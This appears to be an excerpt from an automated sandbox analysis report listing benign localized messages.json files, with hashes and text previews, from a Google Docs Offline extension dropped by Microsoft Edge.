Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Reputation:	unknown
